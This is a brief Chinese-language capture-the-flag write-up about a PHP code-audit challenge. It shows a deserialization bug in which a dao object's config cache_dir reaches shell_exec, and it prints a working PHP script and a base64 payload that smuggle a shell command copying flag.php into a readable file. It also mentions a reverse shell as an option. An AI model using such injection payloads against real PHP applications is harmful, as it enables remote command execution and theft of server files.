是代码审计专题的
下载到源码
主要在dao.php和logout.php里面
dao.php里有个dao类,里面有个方法
在看logout.php
反序列化dao类 控制config里的cache_dir为我们的命令即可。
不过shell_exec函数有个特点
也就是说没回显,但写入文件就可以了,或者也可以反弹shell
<?php
class config{
public $cache_dir = 'aaa/*;cat /var/www/html/flag.php > /var/www/html/1.txt;';
}
class dao
{
private $config;
public function __construct()
{
$this->config = new config();
}
}
echo base64_encode(serialize(new dao()));
//TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NTU6ImFhYS8qO2NhdCAvdmFyL3d3dy9odG1sL2ZsYWcucGhwID4gL3Zhci93d3cvaHRtbC8xLnR4dDsiO319